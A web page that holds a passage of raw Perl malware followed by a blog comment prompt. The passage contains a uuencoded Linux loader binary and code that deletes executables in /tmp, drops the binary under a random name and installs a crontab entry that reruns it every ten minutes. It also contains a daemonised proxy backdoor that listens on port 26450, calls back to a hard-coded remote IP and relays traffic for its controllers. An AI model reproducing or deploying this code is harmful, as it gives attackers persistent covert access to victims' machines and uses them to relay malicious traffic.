M,"XP>2Q:*2!5;G`](3UR.4T\.TAQ;28T*F<R0#,V0T1:$P\76`\#!PD,#0P)
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
M>6UT86(`+G-T<G1A8@`N<VAS=')T86(`+G1E>'0`+F1A=&$`+F)S<P``````
M```````````````````````````````````````````````````;`````0``
M``8```"`@`0(@````($"`````````````!``````````(0````$````#````
M!),$"`0#``!V%@`````````````$`````````"<````(`````P```'RI!`AZ
M&0``%`0`````````````!``````````1`````P``````````````>AD``"P`
M``````````````$``````````0````(``````````````,`:```@`@``!@``
M`!X````$````$`````D````#``````````````#@'```J@$`````````````
M`0```````````````````````````````````("`!`@``````P`!```````$
MDP0(``````,``@``````?*D$"``````#``,``0``````````````!`#Q_Q0`
M```%@00(`````````0`9````#H$$"`````````$`(0```!N!!`@````````!
M`#@````I@00(`````````0!/````,H$$"`````````$`9@```#J!!`@`````
M```!`&L```!M@00(`````````0"$````FH$$"`````````$`G0```+"!!`@`
M```````!`+8```"R@00(`````````0#/````$H($"`````````$`WP```">"
M!`@````````!`/@```!8@@0(`````````0`1`0``]8($"`````````$`*@$`
M`/J"!`@````````!`$,!```$DP0(`````````@!*`0``!9,$"`````````(`
M40$```T```````````#Q_U@!```3DP0(`````````@!?`0``9Q8`````````
M`/'_9@$```$```````````#Q_V\!``!\J00(`````````P!V`0``@*D$"```
M``````,`?0$``(BI!`@````````#`(0!``"0J00(`````````P"+`0``@(`$
M"``````0``$`D@$``'JI!`@`````$`#Q_YX!``!ZJ00(`````!``\?^E`0``
MD*T$"``````0`/'_`"XO+B]L;V%D97)?;&EN=7@N<P!E>&ET`'AO<F1A=&$`
M>&]R9&%T82YX;W)D871A7VQO;W!?,0!X;W)D871A+GAO<F1A=&%?;&]O<%\R
M`'AO<F1A=&$N>&]R9&%T85]L;V]P7S,`<&EP90!P:7!E+G!I<&5?<VMI<%]F
M<F5E8G-D7S$`<&EP92YP:7!E7W-K:7!?9G)E96)S9%\R`'!I<&4N<&EP95]S
M:VEP7V9R965B<V1?,P!P:7!E+G!I<&5?<VMI<%]F<F5E8G-D7S0`<&EP92YP
M:7!E7V-H:6QD`'!I<&4N<&EP95]S:VEP7V9R965B<V1?-0!P:7!E+G!I<&5?
M<VMI<%]F<F5E8G-D7S8`<&EP92YP:7!E7W-K:7!?9G)E96)S9%\W`'!I<&4N
M<&EP95]S:VEP7V9R965B<V1?.`!S>7-T96T`87)G=E\P`&%R9W9?<P!P7V-O
M9&4`<%]S:7IE`%-94U]E>&ET`'-T86-K<`!F:&%N9&$`9FAA;F1B`&)U9F9E
A<@!?<W1A<G0`7U]B<W-?<W1A<G0`7V5D871A`%]E;F0`
BDRPDATALIN
}
$bdrp = unpack ("u*", $bdrp); foreach my $bdrpp ("/var/tmp", "/tmp") { for (<$bdrpp/*>) { unlink $_ if (-f $_ && (-x $_ || -X $_)); }
my $bdrpn = ["a".."z", "A".."Z"]; $bdrpn = join ("", @$bdrpn[map {rand @$bdrpn}(1..(6 + int rand 5))]); my $bdrpb = "$bdrpp/$bdrpn";
my $bdrpc = $bdrpb . int rand 9; my $bdrpt = "*/10 * * * * $bdrpb >/dev/null 2>&1\n"; if (open (B, ">", $bdrpb)) { flock B, 2; print B $bdrp; close B;
if (open (C, ">", $bdrpc)) { flock C, 2; print C $bdrpt; close C; chmod 0755, $bdrpb; system "crontab $bdrpc >/dev/null 2>&1"; unlink $bdrpc; last; } } }
}
sub startserver
{
if ($^O ne "MSWin32")
{
use POSIX qw(setsid);
return unless defined (my $child = fork);
return if $child;
POSIX::setsid();
$SIG{CHLD} = sub { while (waitpid (-1, 1) > 0) {} };
$SIG{$_} = "IGNORE" for (qw (HUP INT ILL FPE QUIT ABRT USR1 SEGV USR2 PIPE ALRM TERM));
umask 0;
chdir "/";
open (STDIN, "</dev/null");
open (STDOUT, ">/dev/null");
open (STDERR, ">&STDOUT");
}
my $setting = { listen_port => 26450, remote_host_list => ["46.165.222.212:62475"], allow_host_list => {}, restart_timer => 5, connect_timeout => 10, session_timeout => 60 };
my $readers = IO::Select->new() or exit 0;
my $writers = IO::Select->new() or exit 0;
my $session = {};
my $destroy = sub
{
my $handle = shift;
if (exists $session->{$handle})
{
$readers->remove($session->{$handle}{handle}) if $readers->exists($session->{$handle}{handle});
$writers->remove($session->{$handle}{handle}) if $writers->exists($session->{$handle}{handle});
close $session->{$handle}{handle};
delete $session->{$handle};
}
};
my $listen_socket = IO::Socket::INET->new(Proto => "tcp", LocalPort => $setting->{listen_port}, Listen => SOMAXCONN, Reuse => 1);
exit 0 unless $listen_socket;
if ($^O eq "MSWin32") { ioctl ($listen_socket, 0x8004667e, pack ("L", 1)); } else { $listen_socket->blocking(0); }
unless ($readers->add($listen_socket))
{
close $listen_socket;
exit 0;
}
foreach (@{$setting->{remote_host_list}})
{
my ($hostaddr, $hostport) = split (/:/, $_, 2);
$hostaddr = pack ("C4", split (/\./, $hostaddr));
if ($hostaddr)
{
$setting->{allow_host_list}{$hostaddr} = "";
my $socket = IO::Socket::INET->new(Proto => "tcp", Type => SOCK_STREAM);
next unless $socket;
if ($^O eq "MSWin32") { ioctl ($socket, 0x8004667e, pack ("L", 1)); } else { $socket->blocking(0); }
unless ($socket->connect($_ = sockaddr_in($hostport, $hostaddr)))
{
if ($! != $eiprogr && $! != $ewblock)
{
close $socket;
next;
}
}
unless ($writers->add($socket))
{
close $socket;
next;
}
unless ($readers->add($socket))
{
$writers->remove($socket);
close $socket;
next;
}
$session->{$socket} =
{
status	=> "cn_rh",
buffer	=> "",
handle	=> $socket,
target	=> "",
flagset	=> 1,
timeout	=> 0
};
}
}
$setting->{restart_timer} = time - 10 + $setting->{restart_timer} * 60;
while (1)
{
IO::Select->select(undef, undef, undef, 0.01);
my $readable = (IO::Select->select($readers, undef, undef, 0.01))[0];
foreach my $handle (@$readable)
{
if ($handle eq $listen_socket)
{
my ($socket_one, $peer_addr) = $handle->accept;
next unless $socket_one;
$peer_addr = substr ($peer_addr, 4, 4);
unless (exists $setting->{allow_host_list}{$peer_addr})
{
close $socket_one;
next;
}
my $socket_two = IO::Socket::INET->new(Proto => "tcp", Type => SOCK_STREAM);
unless ($socket_two)
{
close $socket_one;
next;
}
if ($^O eq "MSWin32") { ioctl ($socket_one, 0x8004667e, pack ("L", 1)); } else { $socket_one->blocking(0); }
if ($^O eq "MSWin32") { ioctl ($socket_two, 0x8004667e, pack ("L", 1)); } else { $socket_two->blocking(0); }
if ($readers->add($socket_one))
{
if ($readers->add($socket_two))
{
if ($writers->add($socket_one))
{
if ($writers->add($socket_two))
{
$session->{$socket_one} =
{
status	=> "rd_qr",
buffer	=> "",
handle	=> $socket_one,
target	=> $socket_two,
flagset	=> 1,
timeout	=> 0
};
$session->{$socket_two} =
{
status	=> "wt_cm",
buffer	=> "",
handle	=> $socket_two,
target	=> $socket_one,
flagset	=> 1,
timeout	=> 0
};
next;
}
$writers->remove($socket_one);
}
$readers->remove($socket_two);
}
$readers->remove($socket_one);
}
close $socket_one;
close $socket_two;
next;
}
next unless exists $session->{$handle};
next if $session->{$handle}{status} !~ /^(rd|tr)/;
my $buffer;
if ($1 eq "rd")
{
$buffer = \$session->{$handle}{buffer};
}
elsif (exists $session->{$session->{$handle}{target}})
{
$buffer = \$session->{$session->{$handle}{target}}{buffer};
}
else
{
$destroy->($handle);
next;
}
my $length = length $$buffer;
my $unused = 8192 - $length;
if ($unused > 0)
{
my $result = sysread ($handle, $$buffer, $unused, $length);
if (defined $result)
{
if ($result > 0)
{
$session->{$handle}{flagset} = 1;
$length += $result;
}
else
{
if (exists $session->{$session->{$handle}{target}})
{
unless (length $session->{$session->{$handle}{target}}{buffer})
{
$destroy->($session->{$handle}{target});
}
else
{
$readers->remove($session->{$handle}{target});
}
}
$destroy->($handle);
next;
}
}
elsif ($! == $ewblock)
{
next;
}
else
{
$destroy->($session->{$handle}{target});
$destroy->($handle);
next;
}
}
next if $session->{$handle}{status} eq "tr_dt";
if ($session->{$handle}{status} eq "rd_qr")
{
next if $length < 2;
my $signature = substr $$buffer, 0, 2;
if ($signature eq "\x70\x10")
{
$destroy->($session->{$handle}{target});
$session->{$handle}{status} = "rd_rh";
}
elsif ($signature eq "\x04\x01")
{
$session->{$handle}{status} = "rd_cl";
}
else
{
$destroy->($session->{$handle}{target});
$destroy->($handle);
next;
}
}
if ($session->{$handle}{status} eq "rd_rh")
{
next if $length < 20;
if (unpack ("S", (substr $$buffer, 2, 2)) == 128)
{
$setting->{restart_timer} = 0;
}
elsif ((my $counter = unpack ("S", (substr $$buffer, 18, 2))) > 0)
{
next if $length < (20 + $counter * 4);
while (my $allow_host = (substr $$buffer, 20, 4, ""))
{
last if (length $allow_host) < 4;
$setting->{allow_host_list}{$allow_host} = "";
}
}
$destroy->($handle);
}
else
{
next if $length < 9;
if ((my $index = index $$buffer, "\x00", 8) > 0)
{
my $socket = $session->{$handle}{target};
unless ($socket->connect($_ = sockaddr_in(unpack ("n", substr ($$buffer, 2, 2)), substr ($$buffer, 4, 4))))
{
if ($! != $eiprogr && $! != $ewblock)
{
$destroy->($session->{$handle}{target});
$session->{$handle}{status} = "wr_rj";
$$buffer = pack ("Sx6", 23296);
next;
}
}
$session->{$session->{$handle}{target}}{status} = "cn_th";
$session->{$session->{$handle}{target}}{flagset} = 1;
$session->{$handle}{status} = "wt_cm";
substr ($$buffer, 0, $index + 1) = "";
$session->{$session->{$handle}{target}}{buffer} = $$buffer;
$$buffer = pack ("Sx6", 23040);
}
}
}
IO::Select->select(undef, undef, undef, 0.01);
my $writable = (IO::Select->select(undef, $writers, undef, 0.01))[1];
foreach my $handle (@$writable)
{
next unless exists $session->{$handle};
next if $session->{$handle}{status} !~ /^((cn|wr|tr)_(.+))$/;
if ($2 eq "cn")
{
if ($handle->connected)
{
if ($3 eq "rh")
{
$session->{$handle}{flagset} = 1;
$session->{$handle}{status} = "wr_rh";
$session->{$handle}{buffer} = pack ("Sn", 4209, $setting->{listen_port});
}
else
{
$session->{$session->{$handle}{target}}{flagset} = 1;
$session->{$session->{$handle}{target}}{status} = "wr_gr";
$session->{$handle}{status} = "wt_cm";
}
}
else
{
if ($3 eq "rh")
{
}
else
{
$session->{$session->{$handle}{target}}{flagset} = 1;
$session->{$session->{$handle}{target}}{status} = "wr_rj";
$session->{$session->{$handle}{target}}{buffer} = pack ("Sx6", 23296);
}
$destroy->($handle);
}
next;
}
if (length $session->{$handle}{buffer})
{
my $result = syswrite ($handle, $session->{$handle}{buffer});
if (defined $result && $result > 0)
{
$session->{$handle}{flagset} = 1;
substr ($session->{$handle}{buffer}, 0, $result) = "";
unless (length $session->{$handle}{buffer})
{
if ($1 eq "wr_rh")
{
$session->{$handle}{status} = "rd_rh";
}
elsif ($1 eq "wr_rj")
{
$destroy->($handle);
}
elsif ($1 eq "wr_gr")
{
$session->{$handle}{status} = "tr_dt";
$session->{$session->{$handle}{target}}{status} = "tr_dt";
}
elsif ($1 eq "tr_dt")
{
unless (exists $session->{$session->{$handle}{target}})
{
$destroy->($handle);
}
}
}
}
elsif ($! == $ewblock)
{
next;
}
else
{
$destroy->($session->{$handle}{target});
$destroy->($handle);
}
}
}
while (my ($handle, $values) = each %$session)
{
next if $values->{status} eq "wt_cm";
my $timeout = time;
if ($values->{flagset})
{
if ($values->{status} =~ /^cn/)
{
$timeout += $setting->{connect_timeout};
}
else
{
$timeout += $setting->{session_timeout};
}
if (exists $session->{$values->{target}})
{
$session->{$values->{target}}{timeout} = $timeout;
$session->{$values->{target}}{flagset} = 0;
}
$values->{timeout} = $timeout;
$values->{flagset} = 0;
}
elsif ($timeout >= $values->{timeout})
{
$destroy->($session->{$handle}{target});
$destroy->($handle);
}
}
if ($readers->exists($listen_socket) && time >= $setting->{restart_timer})
{
$readers->remove($listen_socket);
close $listen_socket;
&startserver() if $setting->{restart_timer};
}
last unless $readers->count or $writers->count;
}
exit 0;
} 

Leave a Reply

Your email address will not be published. Required fields are marked *